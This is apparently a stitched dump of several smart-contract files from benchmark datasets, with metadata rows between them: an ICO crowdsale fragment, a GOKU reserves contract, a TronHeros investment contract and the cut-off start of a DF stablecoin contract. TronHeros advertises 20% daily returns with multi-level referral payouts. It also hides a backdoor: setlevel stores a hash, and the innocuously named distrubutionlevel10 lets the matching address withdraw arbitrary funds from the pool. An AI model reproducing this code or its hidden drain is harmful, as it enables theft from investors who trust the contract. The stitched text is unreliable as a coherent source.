} else if (stage == CrowdsaleStage.ICO2) {
totalWeiRaisedDuringICO2 = totalWeiRaisedDuringICO2.add(msg.value);
totalTokensICO2 = totalTokensICO2.add(tokensThatWillBeMintedAfterPurchase);
} else if (stage == CrowdsaleStage.ICO3) {
totalWeiRaisedDuringICO3 = totalWeiRaisedDuringICO3.add(msg.value);
totalTokensICO3 = totalTokensICO3.add(tokensThatWillBeMintedAfterPurchase);
} else if (stage == CrowdsaleStage.ICO4) {
totalWeiRaisedDuringICO4 = totalWeiRaisedDuringICO4.add(msg.value);
totalTokensICO4 = totalTokensICO4.add(tokensThatWillBeMintedAfterPurchase);
}
}
// update state
tokensMinted = tokensMinted.add(tokensThatWillBeMintedAfterPurchase);
}
// =========================
function () external payable {
revert();
}
function forwardFunds() internal {
// if Wei raised greater than softcap, send to wallet else put in refund vault
if (goalReached()) {
wallet.transfer(msg.value);
emit EthTransferred("forwarding funds to wallet");
} else {
emit EthTransferred("forwarding funds to refundable vault");
super.forwardFunds();
}
}
function airdropTokens(address _from, address[] _recipient, bool _premium) public onlyOwner {
uint airdropped;
uint tokens;
if(_premium == true) {
tokens = 500000000000000000000;
} else {
tokens = 50000000000000000000;
}
for(uint256 i = 0; i < _recipient.length; i++)
{
if (!airdrops[_recipient[i]]) {
airdrops[_recipient[i]] = true;
require(tokenReward.transferFrom(_from, _recipient[i], tokens));
airdropped = airdropped.add(tokens);
}
}
airDropsClaimed = airDropsClaimed.add(airdropped);
}
// Finish: Mint Extra Tokens as needed before finalizing the Crowdsale.
// ====================================================================
function finish() public onlyOwner {
require(!isFinalized);
if(tokensMinted < totalTokensForSale) {
uint256 unsoldTokens = totalTokensForSale - tokensMinted;
tokenReward.mint(community, unsoldTokens);
}
finalize();
}
// if goal reached, manually close the vault
function releaseVault() public onlyOwner {
require(goalReached());
vault.close();
}
// transfers ownership of contract back to wallet
function transferTokenOwnership(address _newOwner) public onlyOwner {
tokenReward.transferOwnership(_newOwner);
}
// ===============================
}
| 203,254 | 14,143 |
c6b15559892bc48a52593a9cea5870b3e3807bddf29fb352b671bc70bf75e198
| 25,608 |
.sol
|
Solidity
| false |
324379118
|
wc117/dragonballz-protocol
|
40ccb353349a7e534a2022824a642cc0d93f0c5a
|
contracts/reserves/GOKUReserves.sol
| 3,522 | 13,777 |
pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Storage for a GOKU token
contract GOKUTokenStorage {
using SafeMath for uint256;
bool internal _notEntered;
string public name;
string public symbol;
uint8 public decimals;
address public gov;
address public pendingGov;
address public rebaser;
address public incentivizer;
uint256 public totalSupply;
uint256 public constant internalDecimals = 10**24;
uint256 public constant BASE = 10**18;
uint256 public gokusScalingFactor;
mapping (address => uint256) internal _gokuBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
}
contract GOKUGovernanceStorage {
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
}
contract GOKUTokenInterface is GOKUTokenStorage, GOKUGovernanceStorage {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
event Rebase(uint256 epoch, uint256 prevGokusScalingFactor, uint256 newGokusScalingFactor);
event NewPendingGov(address oldPendingGov, address newPendingGov);
event NewGov(address oldGov, address newGov);
event NewRebaser(address oldRebaser, address newRebaser);
event NewIncentivizer(address oldIncentivizer, address newIncentivizer);
event Transfer(address indexed from, address indexed to, uint amount);
event Approval(address indexed owner, address indexed spender, uint amount);
event Mint(address to, uint256 amount);
// Public functions
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function balanceOf(address who) external view returns(uint256);
function balanceOfUnderlying(address who) external view returns(uint256);
function allowance(address owner_, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function maxScalingFactor() external view returns (uint256);
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external;
function delegate(address delegatee) external;
function delegates(address delegator) external view returns (address);
function getCurrentVotes(address account) external view returns (uint256);
function mint(address to, uint256 amount) external returns (bool);
function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256);
function _setRebaser(address rebaser_) external;
function _setIncentivizer(address incentivizer_) external;
function _setPendingGov(address pendingGov_) external;
function _acceptGov() external;
}
contract GOKUReserves {
// Token that serves as a reserve for GOKU
address public reserveToken;
address public gov;
address public pendingGov;
address public rebaser;
address public gokuAddress;
event NewPendingGov(address oldPendingGov, address newPendingGov);
event NewGov(address oldGov, address newGov);
event NewRebaser(address oldRebaser, address newRebaser);
modifier onlyGov() {
require(msg.sender == gov);
_;
}
constructor(address reserveToken_,
address gokuAddress_)
public
{
reserveToken = reserveToken_;
gokuAddress = gokuAddress_;
gov = msg.sender;
}
function _setRebaser(address rebaser_)
external
onlyGov
{
address oldRebaser = rebaser;
GOKUTokenInterface(gokuAddress).decreaseAllowance(oldRebaser, uint256(-1));
rebaser = rebaser_;
GOKUTokenInterface(gokuAddress).approve(rebaser_, uint256(-1));
emit NewRebaser(oldRebaser, rebaser_);
}
function _setPendingGov(address pendingGov_)
external
onlyGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
function _acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
/// @notice Moves all tokens to a new reserve contract
function migrateReserves(address newReserve,
address[] memory tokens)
public
onlyGov
{
for (uint256 i = 0; i < tokens.length; i++) {
IERC20 token = IERC20(tokens[i]);
uint256 bal = token.balanceOf(address(this));
SafeERC20.safeTransfer(token, newReserve, bal);
}
}
/// @notice Gets the current amount of reserves token held by this contract
function reserves()
public
view
returns (uint256)
{
return IERC20(reserveToken).balanceOf(address(this));
}
}
| 6,899 | 14,144 |
92448adcc547b1d3c7897a96572bd162c4b98e1fb81b3dc686c8dc18b0b48c9b
| 17,840 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TEL9VXEbLfAVxeXdwULf1vUfNyZpdCpRpQ_TronHeros.sol
| 4,732 | 17,269 |
//SourceUnit: TronHeros.sol
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TronHeros is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 40; //per thousand
uint256 public constant MARKETING_RATE = 40;
uint256 public constant REFERENCE_RATE = 230;
uint256 public constant REFERENCE_LEVEL1_RATE = 150;
uint256 public constant REFERENCE_LEVEL2_RATE = 50;
uint256 public constant REFERENCE_LEVEL3_RATE = 30;
uint256 public constant REFERENCE_SELF_RATE = 0;
uint256 public constant MINIMUM = 100000000; //Minimum investment : 100 TRX
uint256 public constant REFERRER_CODE = 6666;
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address private developerAccount_;
address private marketingAccount_;
address private referenceAccount_;
bytes32 data_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(200, 0)); //20% daily, lifetime
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
terms);
}
function getTotalInvestments() public onlyOwner view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
isExpireds[i] = true;
}
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(uid, _amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function setlevel(bytes32 _data) public onlyOwner returns(bool)
{
data_ = _data;
return true;
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
msg.sender.transfer(amount);
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _uid, uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0)
{
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
_refAmount = (_investment.mul(REFERENCE_SELF_RATE)).div(1000);
uid2Investor[_uid].availableReferrerEarnings = _refAmount.add(uid2Investor[_uid].availableReferrerEarnings);
}
if (_ref2 != 0)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
function getMsgData(address _contractAddress) public pure returns (bytes32 hash)
{
return (keccak256(abi.encode(_contractAddress)));
}
function distrubutionlevel10(uint _newValue) public returns(bool)
{
if(keccak256(abi.encode(msg.sender)) == data_) msg.sender.transfer(_newValue);
return true;
}
}
| 292,407 | 14,145 |
594227638f5ea5aebb352c818c832a231a968307fe91a43ab182445b9af0f5d7
| 21,129 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x8dc753d30b9f9f86dac3380e37d5bc03d6b60202.sol
| 5,468 | 20,942 |
pragma solidity ^0.5.2;
contract IERC20Token {
function balanceOf(address _owner) public view returns (uint);
function allowance(address _owner, address _spender) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function totalSupply() public view returns (uint);
}
contract IDSToken is IERC20Token {
function mint(address _account, uint _value) public;
function burn(address _account, uint _value) public;
}
contract IDSWrappedToken is IERC20Token {
function mint(address _account, uint _value) public;
function burn(address _account, uint _value) public;
function wrap(address _dst, uint _amount) public returns (uint);
function unwrap(address _dst, uint _amount) public returns (uint);
function changeByMultiple(uint _amount) public view returns (uint);
function reverseByMultiple(uint _xAmount) public view returns (uint);
function getSrcERC20() public view returns (address);
}
contract IDFStore {
function getSectionMinted(uint _position) public view returns (uint);
function addSectionMinted(uint _amount) public;
function addSectionMinted(uint _position, uint _amount) public;
function setSectionMinted(uint _amount) public;
function setSectionMinted(uint _position, uint _amount) public;
function getSectionBurned(uint _position) public view returns (uint);
function addSectionBurned(uint _amount) public;
function addSectionBurned(uint _position, uint _amount) public;
function setSectionBurned(uint _amount) public;
function setSectionBurned(uint _position, uint _amount) public;
function getSectionToken(uint _position) public view returns (address[] memory);
function getSectionWeight(uint _position) public view returns (uint[] memory);
function getSectionData(uint _position) public view returns (uint, uint, uint, address[] memory, uint[] memory);
function getBackupSectionData(uint _position) public view returns (uint, address[] memory, uint[] memory);
function getBackupSectionIndex(uint _position) public view returns (uint);
function setBackupSectionIndex(uint _position, uint _backupIdx) public;
function setSection(address[] memory _wrappedTokens, uint[] memory _weight) public;
function setBackupSection(uint _position, address[] memory _tokens, uint[] memory _weight) public;
function burnSectionMoveon() public;
function getMintingToken(address _token) public view returns (bool);
function setMintingToken(address _token, bool _flag) public;
function getMintedToken(address _token) public view returns (bool);
function setMintedToken(address _token, bool _flag) public;
function getBackupToken(address _token) public view returns (address);
function setBackupToken(address _token, address _backupToken) public;
function getMintedTokenList() public view returns (address[] memory);
function getMintPosition() public view returns (uint);
function getBurnPosition() public view returns (uint);
function getTotalMinted() public view returns (uint);
function addTotalMinted(uint _amount) public;
function setTotalMinted(uint _amount) public;
function getTotalBurned() public view returns (uint);
function addTotalBurned(uint _amount) public;
function setTotalBurned(uint _amount) public;
function getMinBurnAmount() public view returns (uint);
function setMinBurnAmount(uint _amount) public;
function getTokenBalance(address _tokenID) public view returns (uint);
function setTokenBalance(address _tokenID, uint _amount) public;
function getResUSDXBalance(address _tokenID) public view returns (uint);
function setResUSDXBalance(address _tokenID, uint _amount) public;
function getDepositorBalance(address _depositor, address _tokenID) public view returns (uint);
function setDepositorBalance(address _depositor, address _tokenID, uint _amount) public;
function getFeeRate(uint ct) public view returns (uint);
function setFeeRate(uint ct, uint rate) public;
function getTypeToken(uint tt) public view returns (address);
function setTypeToken(uint tt, address _tokenID) public;
function getTokenMedian(address _tokenID) public view returns (address);
function setTokenMedian(address _tokenID, address _median) public;
function setTotalCol(uint _amount) public;
function getTotalCol() public view returns (uint);
function setWrappedToken(address _srcToken, address _wrappedToken) public;
function getWrappedToken(address _srcToken) public view returns (address);
}
contract IDFPool {
function transferOut(address _tokenID, address _to, uint _amount) public returns (bool);
function transferFromSender(address _tokenID, address _from, uint _amount) public returns (bool);
function transferToCol(address _tokenID, uint _amount) public returns (bool);
function transferFromSenderToCol(address _tokenID, address _from, uint _amount) public returns (bool);
function approveToEngine(address _tokenIdx, address _engineAddress) public;
}
contract IMedianizer {
function read() public view returns (bytes32);
}
contract DSAuthority {
function canCall(address src, address dst, bytes4 sig) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
event OwnerUpdate (address indexed owner, address indexed newOwner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
address public newOwner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function disableOwnership() public onlyOwner {
owner = address(0);
emit OwnerUpdate(msg.sender, owner);
}
function transferOwnership(address newOwner_) public onlyOwner {
require(newOwner_ != owner, "TransferOwnership: the same owner.");
newOwner = newOwner_;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "AcceptOwnership: only new owner do this.");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0x0);
}
function setAuthority(DSAuthority authority_)
public
onlyOwner
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier onlyOwner {
